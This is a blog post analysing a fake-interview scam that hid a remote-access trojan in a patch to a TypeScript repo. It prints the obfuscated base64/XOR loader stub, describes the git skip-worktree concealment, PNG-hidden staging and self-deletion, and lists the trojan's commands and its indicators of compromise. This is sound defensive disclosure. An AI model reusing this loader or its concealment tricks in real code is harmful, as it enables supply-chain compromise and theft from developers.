# Anatomy of a Failed (Nation-State?) Attack

> Source: <https://grack.com/blog/2026/06/25/dissecting-a-failed-nation-state-attack/>
> Published: 2026-06-26 14:58:54+00:00

## Anatomy of a Failed (Nation-State?) Attack

[permalink](/blog/2026/06/25/dissecting-a-failed-nation-state-attack/)

**Disclosures**

🧠 This post is fully human-written: all prose with the exception of the IoC information. Because it was time-sensitive, Claude was used to accelerate the RAT analysis and build an IoC-detection script.

As I live in Canada, this information was reported to the appropriate Canadian agencies (CCCS et al). The payload-laden image does not trigger any AV engines [on VirusTotal](https://www.virustotal.com/gui/file/7af7864333f5d6dec2a137e2c123019dea27cae8c30b0f293b310c969635c90e/detection).

The attacker’s identity is fictitious, but there are uninvolved individuals with the same name that they may be confused for and have been omitted from this piece.

This week I came too close to falling for a [fake-interview scam](https://manishearth.github.io/blog/2026/06/17/the-future-of-the-con-is-already-here/) designed to backdoor my machine, and from the context of the emails, I assume my packages on [crates.io](https://crates.io).

Note: I’m calling it the “PinpinRAT” because of some of the internal strings, but it’s possible this has another name out there. I couldn’t find any other references to it online.

A week and a half ago I received an email from “D█████ S████” claiming to be from Lua Ventures, a (unbeknownst to me at the time) defunct Singapore-based VC in the DeFi space. *To be clear: this is a fabricated persona*, and the name was likely chosen to be easily mistaken for one of a number of real people with the name.

It looked like a real email, including a link to a somewhat boring, but legitimate-looking LinkedIn profile.

The attacker even name-dropped two of their investments that were specifically looking for advisory work: Lyrasing and Roadpay. Searching for either of the companies wasn’t really a flag - they both had some very basic web presense, but nothing that would indicate they were fake rather than just *early stage*. [(archive.org snapshot of roadpay.cc)](https://web.archive.org/web/20260626011734/https://roadpay.cc/en).

We went back and forth on a meeting time and eventually settled on a time we were going to chat. There was nothing odd about the call itself, either. A somewhat-difficult-to-understand man with a German accent was on the other line. He said he was taking the call while travelling which was a bit odd, but again, not necessarily a flag.

After the call came the bait. A follow-up email that offered up a “test”.

At this point I was mildly annoyed, but not suspicious. I cloned the repo, but the first true red flag only fired here.

Where I got lucky: they sent me a TypeScript repo. It didn’t make sense to me. The instructions looked more like a TypeScript job interview than any sort of architecture analysis. I decided to zip up the repo and toss it into the Claude to get a quick scan - a combination of caution and laziness.

A few moments later it had identified some oddities:

Notably, the root package.json has no postinstall/preinstall hook — interesting, because they use patch-package, which is normally wired to a postinstall. Let me check every package.json for lifecycle scripts, then audit the patch files (the real risk surface — patches can inject arbitrary code into node_modules).

That piqued my interest. I scanned the directories myself and noticed a fairly unreasonable number of `patches/`

directories. The first few I checked seemed innocent enough, but as you might have guessed, they were just trying to add noise so the real payload wouldn’t get caught.

```
packages/electron-benchmarks/patches/sumchecker+3.0.1.patch
packages/electron-benchmarks/patches/@electron+get+2.0.3.patch
packages/electron-benchmarks/patches/extract-zip+2.0.1.patch
```

While I was checking slowly by hand, Claude identified first signs of PinpinRAT:

I found it. This is a malicious payload. Embedded in the

`typescript+5.9.2.patch`

file — inside what is presented as a routine “module specifier” patch to TypeScript — there is a base64-blob self-executing obfuscation stub injected at the very top of both`_tsc.js`

and`typescript.js`

:

``` js
;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/
void "ticket-harbor-tsc-shim-anchor";
```

This decodes a base64 string, XOR-decrypts every byte with the key 73, and runs the result through new Function(…) with require, process, Buffer, etc. handed in. That is a hidden code-execution payload that fires every time tsc or anything importing typescript.js runs — i.e. on the very first npm run typecheck / build / dev.

… and that’s the point where I decided to stop poking the bear on my own machine. I zipped it up with a password to stop myself from accidentally detonating it and kept running the analysis in the sandbox.

## The Trap

The repo is themed as a ferry-ticketing app named “Ticket Harbor”. The `task.txt`

included in the bundle was a plausible set of boring tasks, but ended with:

Run the repo typecheck, test suite, and relevant desktop/server build commands before submitting.

That instruction is the trap that gets you.

The chain works like this:

-
Four separate

`postinstall`

hooks run`patch-package`

. But one of them also runs`git update-index --skip-worktree`

on the patch files, which hides them from`git status`

. -
The

`typescript+5.9.2.patch`

injects a self-executing stub at the top of`typescript.js`

and`_tsc.js`

. This is a lightly-obfuscated blob fed into`new Function(...)`

(avoiding`eval`

, presumably to avoid malware detection). -
That loader reads a hidden chunk appended to a file named

`operators/3.png`

, runs a small embedded WASM stub (in a custom`wAsm`

chunk), then spawns a detached, silent Node process carrying a 1.68 MB obfuscated second-stage payload. -
It cleans up after itself at three layers: the

`git skip-worktree`

trick, the dropper rewrites the`patch`

to delete its own injected lines after first run, and the stage-2 temp directory self-deletes on execution.

The *actual* payload is a RAT (a remote-access trojan). I was originally worried this was a credential stealer but that’s a lot worse. PinpinRAT is nested in three obfuscated layers which were a pain to unwrap: obfuscator.io (which claims LLM protection, hah), and two further base64 layers.

## What it drops

In the interest of 1) quickly sharing this info and 2) not accidentally detonating malware on my own machines, I let Claude tear apart the actual trojan in its sandbox and had it describe it to me.

To be absolutely clear: Claude was able to reverse engineer multiple levels of obfuscation over about 5 minutes of work, which is far faster than I could have.

The drop is a full remote-access trojan that seems to have been put together by someone who knows what they are doing. It sets up an RSA key locally and uses AES-256-CBC as a session key.

On startup it calls a checkin routine that harvests and exfiltrates a host fingerprint:

- primary IP address (enumerates all non-internal interfaces), plus all IPs
- username (
`os.userInfo().username`

) - hostname
- OS type + release + platform + architecture
- process PID and full
`process.argv`

- Node version

It generates an RSA-2048 keypair and a random AES-256 session key (aes_psk), then all subsequent traffic is AES-256-CBC encrypted with an HMAC-SHA256 integrity tag.

It supports the following commands:

`env`

— JSON.stringify(process.env) dumped and sent back.`upload`

— reads an arbitrary file path and exfiltrates it.`download`

— writes attacker-supplied bytes to any writable path.`spawn`

— runs an arbitrary process with optional shell expansion.`ls`

/`cd`

/`pwd`

/`cp`

/`mv`

— general filesystem primitives.`dns`

— makes the host resolve arbitrary names through a specified resolver (for DNS tunneling?).`dismantle`

— self-removal.

## Indicators of Compromise

If you ended up running one of these, you should immediately disconnect your system from the network and rotate your credentials from another machine. Remediation *should* be straightforward, but consider your credentials (including cookies and password-protected secrets) compromised.

These are some indicators of compromise found in the PinpinRAT malware:

- C2: 89.124.107.161:80
- Scheduled task (Windows):
`PinpinWrappedJs`

- Process masquerade (macOS):
`com.apple.WebKit.Networking`

- Env vars:
`NODT_PAYLOAD_PATH`

,`NODT_PAYLOAD_ARGS`

- PNG chunk guard:
`WASMPACK`

(wAsm) `PINPIN_NO_AUTOSTART=1`

: stops persistence- cronjob with
`mutex.js`

(only if the RAT had permission, may not exist on macOS) - Anchor strings in
`typescript.js`

:`12ff4b51`

,`ticket-harbor-tsc-shim-anchor`

`typescript+5.9.2.patch`

with the payload- Artifact dirs:
`~/Library/Caches/runtime-cache/.cache-<randomhex>/`

(macOS),`/tmp/.cache-<randomhex>/`

(Linux),`%TEMP%\.cache-<randomhex>\`

(Windows)- .. containing
`payload.js`

and`mutex.js`

- .. containing

## So who was this?

It’s impossible to say for sure, but this was targeted, had a pretty convincing cover story with a fake persona, multiple fake websites with stolen history, and a patient timeline. The `git`

trap was sophisticated. This “fake-interview scam” has been a theme for a number of actors in 2026.

Who is actually behind this is the responsibility of the agencies now. What *is* worth noting is that this was targeted to developers like you and I, and that I was lucky enough to see a red flag right before springing the trap.

And to be honest, what’s terrifying and sobering to me is that if this had been a Rust repository with a booby-trapped `build.rs`

script, I might have even fallen for it.
